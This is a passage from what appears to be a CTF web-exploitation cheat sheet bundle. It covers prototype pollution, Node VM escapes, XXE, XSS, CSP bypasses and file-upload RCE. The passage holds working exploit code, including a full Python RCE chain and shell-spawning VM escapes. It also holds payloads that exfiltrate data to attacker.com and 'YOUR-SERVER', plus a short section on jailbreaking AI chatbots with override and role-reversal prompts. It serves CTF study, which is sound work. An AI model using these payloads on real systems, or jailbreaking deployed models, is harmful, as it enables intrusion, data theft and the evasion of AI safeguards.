[server-side-deser.md](server-side-deser.md#race-conditions-time-of-check-to-time-of-use).\n\n## Node.js Quick Reference\n\n**Prototype pollution:** `{\"__proto__\": {\"isAdmin\": true}}` or flatnest circular ref bypass\n**VM escape:** `this.constructor.constructor(\"return process\")()` → RCE\n**Full chain:** pollution → enable JS eval in Happy-DOM → VM escape → RCE\n\n**Prototype pollution permission bypass:** `{\"__proto__\":{\"isAdmin\":true}}` on JSON endpoints pollutes `Object.prototype`. Always try `__proto__` injection even when the vulnerability seems like something else.\n\nSee [node-and-prototype.md](node-and-prototype.md) for detailed exploitation.\n\n## Auth & Access Control Quick Reference\n\n- Cookie manipulation: `role=admin`, `isAdmin=true`\n- Public admin-login cookie seeding: check if `/admin/login` sets reusable admin session cookie\n- Host header bypass: `Host: 127.0.0.1`\n- Hidden endpoints: search JS bundles for `/api/internal/`, `/api/admin/`; fuzz with auth cookie for non-`/api` routes like `/internal/*`\n- Client-side gates: `window.overrideAccess = true` or call API directly\n- Password inference: profile data + structured ID format → brute-force\n- Weak signature: check if only first N chars of hash are validated\n- Affine cipher OTP: only 312 possible values (`12 mults × 26 adds`), brute-force all in seconds\n- TOTP srand(time()) weakness: sync server clock to predict codes. See [auth-and-access.md](auth-and-access.md#totp-recovery-via-php-srandtime-seed-weakness-tum-ctf-2016)\n- Express.js `%2F` middleware bypass, IDOR on WIP endpoints, git history credential leakage\n- CI/CD variable theft, identity provider API takeover (bypass MFA: `not_configured_action: skip`)\n- SAML SSO automation, Guacamole parameter extraction, login page poisoning, TeamCity REST API RCE\n\n## Apache CVE-2012-0053 HttpOnly Cookie Leak\n\nSend oversized `Cookie` header to trigger 400 Bad Request; Apache's error page reflects the cookie value, leaking HttpOnly cookies. See [cves.md](cves.md#cve-2012-0053-apache-httponly-cookie-leak-via-400-bad-request-rc3-ctf-2016).\n\n## Apache mod_status Information Disclosure\n\n`/server-status` endpoint reveals active URLs, client IPs, and session data. Use for admin endpoint discovery and session forging. See [auth-and-access.md](auth-and-access.md#apache-mod_status-information-disclosure--session-forging-29c3-ctf-2012).\n\n## Open Redirect Chains\n\nChain open redirects (`?redirect=`, `?next=`, `?url=`) with OAuth flows for token theft. Bypass validation with `@`, `%00`, `//`, `\\`, CRLF. See [auth-and-access.md](auth-and-access.md#open-redirect-chains).\n\n## Subdomain Takeover\n\nDangling CNAME → claim resource on external service (GitHub Pages, S3, Heroku). Use `subfinder` + `httpx` to enumerate, check fingerprints. See [auth-and-access.md](auth-and-access.md#subdomain-takeover).\n\nSee [auth-and-access.md](auth-and-access.md) for access control bypasses, [auth-jwt.md](auth-jwt.md) for JWT/JWE attacks, and [auth-infra.md](auth-infra.md) for OAuth/SAML/CI-CD/infrastructure auth.\n\n## File Upload to RCE\n\n- `.htaccess` upload: `AddType application/x-httpd-php .lol` + webshell\n- Gogs symlink: overwrite `.git/config` with `core.sshCommand` RCE\n- Python `.so` hijack: write malicious shared object + delete `.pyc` to force reimport\n- ZipSlip: symlink in zip for file read, path traversal for file write\n- Log poisoning: PHP payload in User-Agent + path traversal to include log\n- PNG/PHP polyglot + double extension: valid PNG with `\u003c?php` after IEND chunk, uploaded as `.png.php`; when `disable_functions` blocks exec, use `scandir('/')` + `file_get_contents()` for flag. See [server-side-exec-2.md](server-side-exec-2.md#pngphp-polyglot-upload--double-extension--disable_functions-bypass-metactf-flash-2026).\n\nSee [server-side-exec.md](server-side-exec.md) and [server-side-exec-2.md](server-side-exec-2.md) for detailed steps.\n\n## Multi-Stage Chain Patterns\n\n**0xClinic chain:** Password inference → path traversal + ReDoS oracle (leak secrets from `/proc/1/environ`) → CRLF injection (CSP bypass + cache poisoning + XSS) → urllib scheme bypass (SSRF) → `.so` write via path traversal → RCE\n\n**Key chaining insights:**\n- Path traversal + any file-reading primitive → leak `/proc/*/environ`, `/proc/*/cmdline`\n- CRLF in headers → CSP bypass + cache poisoning + XSS in one shot\n- Arbitrary file write in Python → `.so` hijacking or `.pyc` overwrite for RCE\n- Lowercased response body → use hex escapes (`\\x3c` for `\u003c`)\n\n## Flask/Werkzeug Debug Mode\n\nWeak session secret brute-force + forge admin session + Werkzeug debugger PIN RCE. See [server-side-advanced.md](server-side-advanced.md#flaskwerkzeug-debug-mode-exploitation) for full attack chain.\n\n## XXE with External DTD Filter Bypass\n\nHost malicious DTD externally to bypass upload keyword filters. See [server-side-advanced.md](server-side-advanced.md#xxe-with-external-dtd-filter-bypass) for payload and webhook.site setup.\n\n## JSFuck Decoding\n\nRemove trailing `()()`, eval in Node.js, `.toString()` reveals original code. See [client-side.md](client-side.md#jsfuck-decoding).\n\n## DOM XSS via jQuery Hashchange (Crypto-Cat)\n\n`$(location.hash)` + `hashchange` event → XSS via iframe: `\u003ciframe src=\"https://target/#\" onload=\"this.src+='\u003cimg src=x onerror=print()>'\">`. See [client-side.md](client-side.md#dom-xss-via-jquery-hashchange-crypto-cat).\n\n## Shadow DOM XSS\n\nProxy `attachShadow` to capture closed roots; `(0,eval)` for scope escape; `\u003c/script>` injection. See [client-side.md](client-side.md#shadow-dom-xss).\n\n## DOM Clobbering + MIME Mismatch\n\n`.jpg` served as `text/html`; `\u003cform id=\"config\">` clobbers JS globals. See [client-side.md](client-side.md#dom-clobbering--mime-mismatch).\n\n## HTTP Request Smuggling via Cache Proxy\n\nCache proxy desync for cookie theft via incomplete POST body. See [client-side.md](client-side.md#http-request-smuggling-via-cache-proxy).\n\n## Path Traversal: URL-Encoded Slash Bypass\n\n`%2f` bypasses nginx route matching but filesystem resolves it. See [server-side-advanced.md](server-side-advanced.md#path-traversal-url-encoded-slash-bypass).\n\n## WeasyPrint SSRF & File Read (CVE-2024-28184)\n\n`\u003ca rel=\"attachment\" href=\"file:///flag.txt\">` or `\u003clink rel=\"attachment\" href=\"http://127.0.0.1/admin\">` -- WeasyPrint embeds fetched content as PDF attachments, bypassing header checks. Boolean oracle via `/Type /EmbeddedFile` presence. See [server-side-advanced-4.md](server-side-advanced-4.md#weasyprint-ssrf--file-read-cve-2024-28184-nullcon-2026) and [cves.md](cves.md#cve-2024-28184-weasyprint-attachment-ssrf--file-read).\n\n## MongoDB Regex / $where Blind Injection\n\nBreak out of `/.../i` with `a^/)||(\u003ccondition>)&&(/a^`. Binary search `charCodeAt()` for extraction. See [server-side-advanced-4.md](server-side-advanced-4.md#mongodb-regex-injection--where-blind-oracle-nullcon-2026).\n\n## Pongo2 / Go Template Injection\n\n`{% include \"/flag.txt\" %}` in uploaded file + path traversal in template parameter. See [server-side-advanced-4.md](server-side-advanced-4.md#pongo2--go-template-injection-via-path-traversal-nullcon-2026).\n\n## ZIP Upload with PHP Webshell\n\nUpload ZIP containing `.php` file → extract to web-accessible dir → `file_get_contents('/flag.txt')`. See [server-side-advanced-4.md](server-side-advanced-4.md#zip-upload-with-php-webshell-nullcon-2026).\n\n## basename() Bypass for Hidden Files\n\n`basename()` only strips dirs, doesn't filter `.lock` or hidden files in same directory. See [server-side-advanced-4.md](server-side-advanced-4.md#basename-bypass-for-hidden-files-nullcon-2026).\n\n## Custom Linear MAC Forgery\n\nLinear XOR-based signing with secret blocks → recover from known pairs → forge for target. See [auth-and-access.md](auth-and-access.md#custom-linear-macsignature-forgery-nullcon-2026).\n\n## CSS/JS Paywall Bypass\n\nContent behind CSS overlay (`position: fixed; z-index: 99999`) is still in the raw HTML. `curl` or view-source bypasses it instantly. See [client-side.md](client-side.md#cssjs-paywall-bypass).\n\n## SSRF to Docker API RCE Chain\n\nSSRF to unauthenticated Docker daemon on port 2375. Use `/archive` for file extraction, `/exec` + `/exec/{id}/start` for command execution. Chain through internal POST relay when SSRF is GET-only. See [server-side-advanced-2.md](server-side-advanced-2.md#ssrf-to-docker-api-rce-chain-h7ctf-2025).\n\n## Castor XML Deserialization via xsi:type (Atlas HTB)\n\nCastor XML `Unmarshaller` without mapping file trusts `xsi:type` attributes for arbitrary Java class instantiation. Chain through JNDI (Java Naming and Directory Interface) / RMI (Remote Method Invocation) via ysoserial `CommonsBeanutils1` for RCE. Requires Java 11 (not 17+). Check `pom.xml` for `castor-xml`. See [server-side-advanced-2.md](server-side-advanced-2.md#castor-xml-deserialization-via-xsitype-polymorphism-atlas-htb).\n\n## Apache ErrorDocument Expression File Read (Zero HTB)\n\n`.htaccess` with `ErrorDocument 404 \"%{file:/etc/passwd}\"` reads files at Apache level, bypassing `php_admin_flag engine off`. Requires `AllowOverride FileInfo`. Upload via SFTP, trigger with 404 request. See [server-side-advanced-2.md](server-side-advanced-2.md#apache-errordocument-expression-file-read-zero-htb).\n\n## HTTP TRACE Method Bypass\n\nEndpoints returning 403 on GET/POST may respond to TRACE, PUT, PATCH, or DELETE. Test with `curl -X TRACE`. See [auth-and-access.md](auth-and-access.md#http-trace-method-bypass-bypass-ctf-2025).\n\n## LLM/AI Chatbot Jailbreak\n\nAI chatbots guarding flags can be bypassed with system override prompts, role-reversal, or instruction leak requests. Rotate session IDs and escalate prompt severity. See [auth-and-access.md](auth-and-access.md#llmai-chatbot-jailbreak-bypass-ctf-2025).\n\n## Admin Bot javascript: URL Scheme Bypass\n\n`new URL()` validates syntax only, not protocol — `javascript:` URLs pass and execute in Puppeteer's authenticated context. CSP/SRI on the target page are irrelevant since JS runs in navigation context. See [client-side.md](client-side.md#admin-bot-javascript-url-scheme-bypass-dicectf-2026).\n\n## XS-Leak via Image Load Timing + GraphQL CSRF (HTB GrandMonty)\n\nHTML injection → meta refresh redirect (CSP bypass) → admin bot loads attacker page → JavaScript makes cross-origin GET requests to `localhost` GraphQL endpoint via `new Image().src` → measures time-based SQLi (`SLEEP(1)`) through image error timing → character-by-character flag exfiltration. GraphQL GET requests bypass CORS preflight. See [client-side.md](client-side.md#xs-leak-via-image-load-timing--graphql-csrf-htb-grandmonty).\n\n## React Server Components Flight Protocol RCE (Ehax 2026)\n\nIdentify via `Next-Action` + `Accept: text/x-component` headers. CVE-2025-55182: fake Flight chunk exploits constructor chain for server-side JS execution. Exfiltrate via `NEXT_REDIRECT` error → `x-action-redirect` header. WAF bypass: `'chi'+'ld_pro'+'cess'` or hex `'\\x63\\x68\\x69\\x6c\\x64\\x5f\\x70\\x72\\x6f\\x63\\x65\\x73\\x73'`. See [server-side-advanced-4.md](server-side-advanced-4.md#react-server-components-flight-protocol-rce-ehax-2026) and [cves.md](cves.md#cve-2025-55182--cve-2025-66478-react-server-components-flight-protocol-rce).\n\n## Unicode Case Folding XSS Bypass (UNbreakable 2026)\n\n**Pattern:** Sanitizer regex uses ASCII-only matching (`\u003c\\s*script`), but downstream processing applies Unicode case folding (`strings.EqualFold`). `\u003cſcript>` (U+017F Latin Long S) bypasses regex but folds to `\u003cscript>`. Other pairs: `ı`→`i`, `K` (U+212A)→`k`. See [client-side-advanced.md](client-side-advanced.md#unicode-case-folding-xss-bypass-unbreakable-2026).\n\n## CSS Font Glyph + Container Query Data Exfiltration (UNbreakable 2026)\n\n**Pattern:** Exfiltrate inline text via CSS injection (no JS). Custom font assigns unique glyph widths per character. Container queries match width ranges to fire background-image requests -- one request per character. Works under strict CSP. See [client-side-advanced.md](client-side-advanced.md#css-font-glyph-width--container-query-exfiltration-unbreakable-2026).\n\n## Hyperscript / Alpine.js CDN CSP Bypass (UNbreakable 2026)\n\n**Pattern:** CSP allows `cdnjs.cloudflare.com`. Load Hyperscript (`_=` attributes) or Alpine.js (`x-data`, `x-init`) from CDN -- they execute code from HTML attributes that sanitizers don't strip. See [client-side-advanced.md](client-side-advanced.md#hyperscript-cdn-csp-bypass-unbreakable-2026).\n\n## Solidity Transient Storage Clearing Collision (0.8.28-0.8.33)\n\n**Pattern:** Solidity IR pipeline (`--via-ir`) generates identically-named Yul helpers for `delete` on persistent and transient variables of the same type. One uses `sstore`, the other should use `tstore`, but deduplication picks only one. Exploits: overwrite `owner` (slot 0) via transient `delete`, or make persistent `delete` (revoke approvals) ineffective. Workaround: use `_lock = address(0)` instead of `delete _lock`. See [web3.md](web3.md#solidity-transient-storage-clearing-helper-collision-solidity-0828-0833).\n\n## Chrome Unicode URL Normalization Bypass (RCTF 2017)\n\nChrome's IDNA/punycode normalization converts fullwidth Unicode characters (U+FF00-U+FF5E) to ASCII equivalents, bypassing length checks and character filters on domain names. See [client-side-advanced.md](client-side-advanced.md#chrome-unicode-url-normalization-bypass-rctf-2017).\n\n## CSP Nonce Bypass via base Tag Hijacking (BSidesSF 2026)\n\n**Pattern:** CSP uses `script-src 'nonce-xxx'` but missing `base-uri` directive. Inject `\u003cbase href=\"https://attacker.com/\">` before a nonced `\u003cscript src=\"relative.js\">` -- script loads from attacker server but satisfies CSP via the valid nonce. Defense: always include `base-uri 'self'`. See [client-side-advanced.md](client-side-advanced.md#csp-nonce-bypass-via-base-tag-hijacking-bsidessf-2026).\n\n## JA4/JA4H TLS Fingerprint Matching (BSidesSF 2026)\n\n**Pattern:** Server validates browser identity via JA4 (TLS ClientHello fingerprint) and JA4H (HTTP header ordering fingerprint) in addition to User-Agent. Spoofing UA alone fails; must match the target browser's TLS cipher suite order and HTTP header sequence. For legacy browsers, run the actual browser. See [auth-and-access.md](auth-and-access.md#ja4ja4h-tls-and-http-fingerprint-matching-bsidessf-2026).\n\n## Client-Side HMAC Bypass via Leaked JS Secret (Codegate 2013)\n\nDeobfuscate client-side JS to extract hardcoded HMAC secret, then forge signatures for arbitrary requests via browser console. See [client-side-advanced.md](client-side-advanced.md#client-side-hmac-bypass-via-leaked-js-secret-codegate-2013).\n\n## SQLi Keyword Fragmentation Bypass (SecuInside 2013)\n\nSingle-pass `preg_replace()` keyword filters bypassed by nesting the stripped keyword inside the payload: `unload_fileon` → `union` after `load_file` removal. See [server-side-exec-2.md](server-side-exec-2.md#sqli-keyword-fragmentation-bypass-secuinside-2013).\n\n## Pickle Chaining via STOP Opcode Stripping (VolgaCTF 2013)\n\nStrip pickle STOP opcode (`\\x2e`) from first payload, concatenate second — both `__reduce__` calls execute in single `pickle.loads()`. Chain `os.dup2()` for socket output. See [server-side-deser.md](server-side-deser.md#pickle-chaining-via-stop-opcode-stripping-volgactf-2013).\n\n## XPath Blind Injection (BaltCTF 2013)\n\n`substring(normalize-space(../../../node()),1,1)='a'` — boolean-based blind extraction from XML data stores via response length oracle. See [server-side-exec.md](server-side-exec.md#xpath-blind-injection-baltctf-2013).\n\n## SQLite File Path Traversal to Bypass String Equality (Codegate 2013)\n\nInput `/../gamesim_GM` fails `== \"GM\"` string check but filesystem normalizes `/var/game_db/gamesim_/../gamesim_GM.db` to the blocked path. See [server-side-advanced-2.md](server-side-advanced-2.md#sqlite-file-path-traversal-to-bypass-string-equality-codegate-2013).\n\n## PHP Serialization Length Manipulation via Filter Word Expansion (0CTF 2016)\n\nPost-serialization string filter replaces \"where\" (5 chars) with \"hacker\" (6 chars). Repeat \"where\" N times so expansion overflows by exactly enough bytes to inject a serialized field (`\";}s:5:\"photo\";s:10:\"config.php\";}`). See [server-side-deser.md](server-side-deser.md#php-serialization-length-manipulation-via-filter-word-expansion-0ctf-2016).\n\n## CSP Bypass via link prefetch (Boston Key Party 2016)\n\n`\u003clink rel=\"prefetch\" href=\"http://attacker.com/steal\">` not blocked by CSP `script-src`. Also: `\u003cmeta http-equiv=\"refresh\">`. Scriptless data exfiltration. See [client-side-advanced.md](client-side-advanced.md#csp-bypass-via-link-prefetch-boston-key-party-2016).\n\n## XML Injection via X-Forwarded-For Header (Pwn2Win 2016)\n\nServer builds XML from headers without escaping. Inject `\u003c/ip>\u003cadmin>true\u003c/admin>\u003cip>` via X-Forwarded-For; first-tag-wins XML parsing. See [server-side.md](server-side-2.md#xml-injection-via-x-forwarded-for-header-pwn2win-2016).\n\n## Base64 Decode Leniency and Parameter Override for Signature Bypass (BCTF 2016)\n\n`b64decode()` silently ignores non-base64 chars. Append `&price=0` after signature -- b64decode strips it, but parameter parser processes it (last value wins). See [auth-infra.md](auth-infra.md#base64-decode-leniency-and-parameter-override-for-signature-bypass-bctf-2016).\n\n## Common Flag Locations\n\nFiles: `/flag.txt`, `/flag`, `/app/flag.txt`, `/home/*/flag*`. Env: `/proc/self/environ`. DB: `flag`, `flags`, `secret` tables. Headers: `x-flag`, `x-archive-tag`, `x-proof`. DOM: `display:none` elements, `data-*` attributes.\n","content_type":"text/markdown; charset=utf-8","language":"markdown","size":35879,"content_sha256":"c37710ebc89fb9140016908e26a57fd7732e1bcd8756c677b8b64b085da417a0"},{"filename":"node-and-prototype.md","content":"# CTF Web - Node.js Prototype Pollution & VM Escape\n\n## Table of Contents\n- [Prototype Pollution Basics](#prototype-pollution-basics)\n - [Common Vectors](#common-vectors)\n - [Known Vulnerable Libraries](#known-vulnerable-libraries)\n- [flatnest Circular Reference Bypass (CVE-2023-26135)](#flatnest-circular-reference-bypass-cve-2023-26135)\n- [Gadget: Library Settings via Prototype Chain](#gadget-library-settings-via-prototype-chain)\n- [Node.js VM Sandbox Escape](#nodejs-vm-sandbox-escape)\n - [ESM-Compatible Escape (CVE-2025-61927)](#esm-compatible-escape-cve-2025-61927)\n - [CommonJS Escape](#commonjs-escape)\n - [Why `document.write` Matters for Happy-DOM](#why-documentwrite-matters-for-happy-dom)\n- [Full Chain: Prototype Pollution to VM Escape RCE (4llD4y)](#full-chain-prototype-pollution-to-vm-escape-rce-4lld4y)\n- [Lodash Prototype Pollution to Pug AST Injection (VuwCTF 2025)](#lodash-prototype-pollution-to-pug-ast-injection-vuwctf-2025)\n- [Affected Libraries](#affected-libraries)\n- [Detection](#detection)\n\n---\n\n## Prototype Pollution Basics\n\nJavaScript objects inherit from `Object.prototype`. Polluting it affects all objects:\n```javascript\nObject.prototype.isAdmin = true;\nconst user = {};\nconsole.log(user.isAdmin); // true\n```\n\n### Common Vectors\n```json\n{\"__proto__\": {\"isAdmin\": true}}\n{\"constructor\": {\"prototype\": {\"isAdmin\": true}}}\n{\"a.__proto__.isAdmin\": true}\n```\n\n### Known Vulnerable Libraries\n- `flatnest` (CVE-2023-26135) — `nest()` with circular reference bypass\n- `merge`, `lodash.merge` (old versions), `deep-extend`, `qs` (old versions)\n\n---\n\n## flatnest Circular Reference Bypass (CVE-2023-26135)\n\n**Vulnerability:** `insert()` blocks `__proto__`/`constructor`, but `seek()` (resolves `[Circular (path)]` values) has NO such checks.\n\n**Code flow:**\n1. `nest(obj)` iterates keys\n2. Value matching `[Circular (path)]` → calls `seek(nested, path)`\n3. `seek()` freely traverses `constructor.prototype` → returns `Object.prototype`\n4. Subsequent keys write directly to `Object.prototype`\n\n**Exploit:**\n```json\nPOST /config\n{\n \"x\": \"[Circular (constructor.prototype)]\",\n \"x.settings.enableJavaScriptEvaluation\": true\n}\n```\n\n**Note:** 1.0.1 \"fix\" only guards `insert()`, not `seek()`. Completely unpatched.\n\n---\n\n## Gadget: Library Settings via Prototype Chain\n\n**Pattern:** Library reads optional settings from options object. Caller doesn't provide settings → falls through to `Object.prototype`.\n\n**Happy-DOM example (v20.x):**\n```javascript\n// Window constructor:\nconstructor(options) {\n const browser = new DetachedBrowser(BrowserWindow, {\n settings: options?.settings // options = { console }, no own 'settings'\n // With pollution: Object.prototype.settings = { enableJavaScriptEvaluation: true }\n });\n}\n```\n\n---\n\n## Node.js VM Sandbox Escape\n\n**`vm` is NOT a security boundary.** Objects crossing the boundary maintain references to host context.\n\n### ESM-Compatible Escape (CVE-2025-61927)\n```javascript\nconst ForeignFunction = this.constructor.constructor;\nconst proc = ForeignFunction(\"return globalThis.process\")();\nconst spawnSync = proc.binding(\"spawn_sync\");\nconst result = spawnSync.spawn({\n file: \"/bin/sh\",\n args: [\"/bin/sh\", \"-c\", \"cat /flag*\"],\n stdio: [\n { type: \"pipe\", readable: true, writable: false },\n { type: \"pipe\", readable: false, writable: true },\n { type: \"pipe\", readable: false, writable: true }\n ]\n});\nconst output = Buffer.from(result.output[1]).toString();\n```\n\n### CommonJS Escape\n```javascript\nconst ForeignFunction = this.constructor.constructor;\nconst proc = ForeignFunction(\"return process\")();\nconst result = proc.mainModule.require(\"child_process\").execSync(\"id\").toString();\n```\n\n### Why `document.write` Matters for Happy-DOM\n`document.write()` creates parser with `evaluateScripts: true` → scripts are NOT marked with `disableEvaluation`. Only remaining check is `browserSettings.enableJavaScriptEvaluation` (bypassed via pollution).\n\n---\n\n## Full Chain: Prototype Pollution to VM Escape RCE (4llD4y)\n\n**Architecture:**\n1. Pollute `Object.prototype.settings` to enable JS eval in Happy-DOM\n2. Submit HTML with `\u003cscript>` via `document.write()` (which sets `evaluateScripts: true`)\n3. Script executes in VM, escapes via `this.constructor.constructor`, gets RCE\n\n**Complete exploit:**\n```python\nimport requests\nTARGET = \"http://target:3000\"\n\n# Step 1: Pollution via flatnest circular reference\npollution = {\n \"x\": \"[Circular (constructor.prototype)]\",\n \"x.settings.enableJavaScriptEvaluation\": True,\n \"x.settings.suppressInsecureJavaScriptEnvironmentWarning\": True\n}\nrequests.post(f\"{TARGET}/config\", json=pollution)\n\n# Step 2: RCE via VM escape in rendered HTML\nrce_script = \"\"\"\nconst F = this.constructor.constructor;\nconst proc = F(\"return globalThis.process\")();\nconst s = proc.binding(\"spawn_sync\");\nconst r = s.spawn({\n file: \"/bin/sh\", args: [\"/bin/sh\", \"-c\", \"cat /flag*\"],\n stdio: [{type:\"pipe\",readable:true,writable:false},\n {type:\"pipe\",readable:false,writable:true},\n {type:\"pipe\",readable:false,writable:true}]\n});\ndocument.title = Buffer.from(r.output[1]).toString();\n\"\"\"\nr = requests.post(f\"{TARGET}/render\", json={\"html\": f\"\u003cscript>{rce_script}\u003c/script>\"})\nprint(r.text.split(\"\u003ctitle>\")[1].split(\"\u003c/title>\")[0])\n```\n\n---\n\n---\n\n## Lodash Prototype Pollution to Pug AST Injection (VuwCTF 2025)\n\n**Vulnerable:** Lodash \u003c 4.17.5 `_.merge()` allows prototype pollution via `constructor.prototype`.\n\n**Pug template engine gadget:** Pug looks up `block` property on AST nodes. If a node doesn't have its own `block`, JS traverses the prototype chain → finds polluted `Object.prototype.block`.\n\n**Payload:**\n```json\n{\n \"constructor\": {\n \"prototype\": {\n \"block\": {\n \"type\": \"Text\",\n \"line\": \"1;pug_html+=global.process.mainModule.require('fs').readFileSync('/app/flag.txt').toString();//\",\n \"val\": \"x\"\n }\n }\n },\n \"word\": \"exploit\"\n}\n```\n\n**Delivery:** Base64-encode the JSON, send as `?data=\u003cencoded>`.\n\n**How it works:**\n1. `_.merge()` on user input sets `Object.prototype.block` to malicious AST node\n2. Pug template compilation checks `node.block` on every node\n3. Nodes without own `block` inherit from prototype → finds injected Text node\n4. `type: \"Text\"` with `line:` payload injects code during template compilation\n5. Code executes server-side, reads flag\n\n**Detection:** `lodash` \u003c 4.17.5 in `package.json` + Pug/Jade template engine.\n\n---\n\n## Affected Libraries\n- **happy-dom** \u003c 20.0.0 (JS eval enabled by default), 20.x+ (if re-enabled via pollution)\n- **vm2** (deprecated)\n- **realms-shim**\n- **lodash** \u003c 4.17.5 (`_.merge()` prototype pollution)\n\n## Detection\n- `flatnest` in `package.json` + endpoints calling `nest()` on user input\n- `happy-dom` or `jsdom` rendering user-controlled HTML\n- Any `vm.runInContext`, `vm.Script` usage\n","content_type":"text/markdown; charset=utf-8","language":"markdown","size":6842,"content_sha256":"6f11446630103706b35d05270a16653a57cc1ce3f906df630674653a79f6d976"},{"filename":"server-side-2.md","content":"# CTF Web - XXE, XML Injection, Command Injection, GraphQL\n\nXXE payloads, XML injection, PHP variable-variable tricks, sequential regex bypasses, command injection, and GraphQL exploitation. For core server-side injection (PHP type juggling, file inclusion, SSTI, SSRF), see [server-side.md](server-side.md).\n\n## Table of Contents\n- [XXE (XML External Entity)](#xxe-xml-external-entity)\n - [Basic XXE](#basic-xxe)\n - [OOB XXE with External DTD](#oob-xxe-with-external-dtd)\n - [XXE via DOCX/Office XML Upload (School CTF 2016)](#xxe-via-docxoffice-xml-upload-school-ctf-2016)\n - [SVG XXE via svglib to PNG Pipeline (P.W.N. CTF 2018)](#svg-xxe-via-svglib-to-png-pipeline-pwn-ctf-2018)\n- [XML Injection via X-Forwarded-For Header (Pwn2Win 2016)](#xml-injection-via-x-forwarded-for-header-pwn2win-2016)\n- [PHP Variable Variables ($var) Abuse (bugs_bunny 2017)](#php-variable-variables-var-abuse-bugs_bunny-2017)\n- [PHP uniqid() Predictable Filename (EKOPARTY 2017)](#php-uniqid-predictable-filename-ekoparty-2017)\n- [Sequential Regex Replacement Bypass (Tokyo Westerns 2017)](#sequential-regex-replacement-bypass-tokyo-westerns-2017)\n- [Command Injection](#command-injection)\n - [Newline Bypass](#newline-bypass)\n - [Incomplete Blocklist Bypass](#incomplete-blocklist-bypass)\n - [Sendmail Parameter Injection via CGI (SECCON 2015)](#sendmail-parameter-injection-via-cgi-seccon-2015)\n - [Multi-Barcode Concatenation to Shell Injection (BSidesSF 2024)](#multi-barcode-concatenation-to-shell-injection-bsidessf-2024)\n - [Git CLI Newline Injection via URL Path (BSidesSF 2026)](#git-cli-newline-injection-via-url-path-bsidessf-2026)\n- [GraphQL Injection and Exploitation (Hack.lu CTF 2020, HeroCTF v5)](#graphql-injection-and-exploitation-hacklu-ctf-2020-heroctf-v5)\n - [Introspection and Schema Discovery](#introspection-and-schema-discovery)\n - [Query Batching and Aliasing for Rate Limit Bypass](#query-batching-and-aliasing-for-rate-limit-bypass)\n - [String Interpolation Injection](#string-interpolation-injection)\n\n---\n\n## XXE (XML External Entity)\n\n### Basic XXE\n```xml\n\u003c?xml version=\"1.0\"?>\n\u003c!DOCTYPE foo [\u003c!ENTITY xxe SYSTEM \"file:///etc/passwd\">]>\n\u003croot>&xxe;\u003c/root>\n```\n\n### OOB XXE with External DTD\nHost evil.dtd:\n```xml\n\u003c!ENTITY % file SYSTEM \"php://filter/convert.base64-encode/resource=/flag.txt\">\n\u003c!ENTITY % eval \"\u003c!ENTITY % exfil SYSTEM 'https://YOUR-SERVER/flag?b64=%file;'>\">\n%eval; %exfil;\n```\n\n### XXE via DOCX/Office XML Upload (School CTF 2016)\n\nDOCX files are ZIP archives containing XML. Modify `[Content_Types].xml` inside the DOCX to inject XXE payloads that execute when the server parses the uploaded document.\n\n```bash\n# Step 1: Create a minimal DOCX and extract it\nmkdir docx_exploit && cd docx_exploit\nunzip template.docx\n\n# Step 2: Inject XXE into [Content_Types].xml\ncat > '[Content_Types].xml' \u003c\u003c 'EOF'\n\u003c?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\u003c!DOCTYPE foo [\n \u003c!ENTITY xxe SYSTEM \"php://filter/convert.base64-encode/resource=/var/www/html/index.php\">\n]>\n\u003cTypes xmlns=\"http://schemas.openxmlformats.org/package/2006/content-types\">\n \u003cDefault Extension=\"rels\" ContentType=\"application/vnd.openxmlformats-package.relationships+xml\"/>\n \u003cDefault Extension=\"xml\" ContentType=\"application/xml\"/>\n \u003cOverride PartName=\"/word/document.xml\" ContentType=\"application/vnd.openxmlformats-officedocument.wordprocessingml.document.main+xml\"/>\n \u003cOverride PartName=\"/hack\" ContentType=\"&xxe;\"/>\n\u003c/Types>\nEOF\n\n# Step 3: Repackage as DOCX\nzip -r exploit.docx '[Content_Types].xml' word/ _rels/\n\n# Step 4: Upload to target\ncurl -F \"[email protected]\" http://target/upload\n# Response or error message may contain base64-encoded file contents\n```\n\n**Key insight:** Any file format based on ZIP+XML (DOCX, XLSX, PPTX, ODT, SVG+ZIP) can carry XXE payloads. The parser often processes `[Content_Types].xml` first, making it the ideal injection point. Use `php://filter/convert.base64-encode` for binary-safe exfiltration.\n\n### SVG XXE via svglib to PNG Pipeline (P.W.N. CTF 2018)\n\n**Pattern:** A service converts user-uploaded SVG to PNG using `svglib` + `reportlab`. The SVG parser expands external entities before rasterising, so an XXE entity referenced inside a `\u003ctext>` element ends up *drawn* onto the PNG.\n\n```xml\n\u003c?xml version=\"1.0\" standalone=\"no\"?>\n\u003c!DOCTYPE foo [\u003c!ENTITY dat SYSTEM \"file:///opt/key.txt\">]>\n\u003csvg xmlns=\"http://www.w3.org/2000/svg\" width=\"200mm\" height=\"10mm\">\n \u003ctext x=\"10\" y=\"15\" font-size=\"4\" fill=\"red\">&dat;\u003c/text>\n\u003c/svg>\n```\n\nThe resulting PNG contains the flag rendered as visible text. Download the PNG and OCR/eyeball it.\n\n**Key insight:** Any SVG-to-image converter chain (`svglib`, `cairosvg`, `rsvg-convert`, librsvg) resolves XXE entities at parse time, so file contents can be smuggled through the image channel. The content appears in pixels, not metadata — grep is useless; open the image.\n\n**References:** P.W.N. CTF 2018 — SVG2PNG, writeup 12064\n\n---\n\n## XML Injection via X-Forwarded-For Header (Pwn2Win 2016)\n\nApplication builds XML from HTTP headers (e.g., `X-Forwarded-For`) without sanitization. First-tag-wins XML parsing allows injecting arbitrary elements:\n\n```http\nX-Forwarded-For: 1.2.3.4\u003c/ip>\u003cadmin>true\u003c/admin>\u003cip>4.3.2.1\n```\n\nProduces: `\u003csession>\u003cip>1.2.3.4\u003c/ip>\u003cadmin>true\u003c/admin>\u003cip>4.3.2.1\u003c/ip>\u003cadmin>false\u003c/admin>\u003c/session>` -- the XML parser takes the first `\u003cadmin>true\u003c/admin>`, ignoring the legitimate `\u003cadmin>false\u003c/admin>` that follows.\n\n**Key insight:** XML injection via HTTP headers when server builds XML from header values without escaping. First-match semantics exploit duplicate tags. Check any header that appears in server responses or logs as structured data (`X-Forwarded-For`, `User-Agent`, `Referer`).\n\n---\n\n## PHP Variable Variables ($var) Abuse (bugs_bunny 2017)\n\n**Pattern:** PHP's variable variables (`$key`) allow using a variable's value as the name of another variable. When a loop iterates over GET/POST parameters and assigns them as `$key = $value`, supplying `?_200=flag` captures `$flag`'s value into `$_200` before it gets overwritten.\n\n```php\n// Vulnerable pattern: loop that processes GET parameters as variable 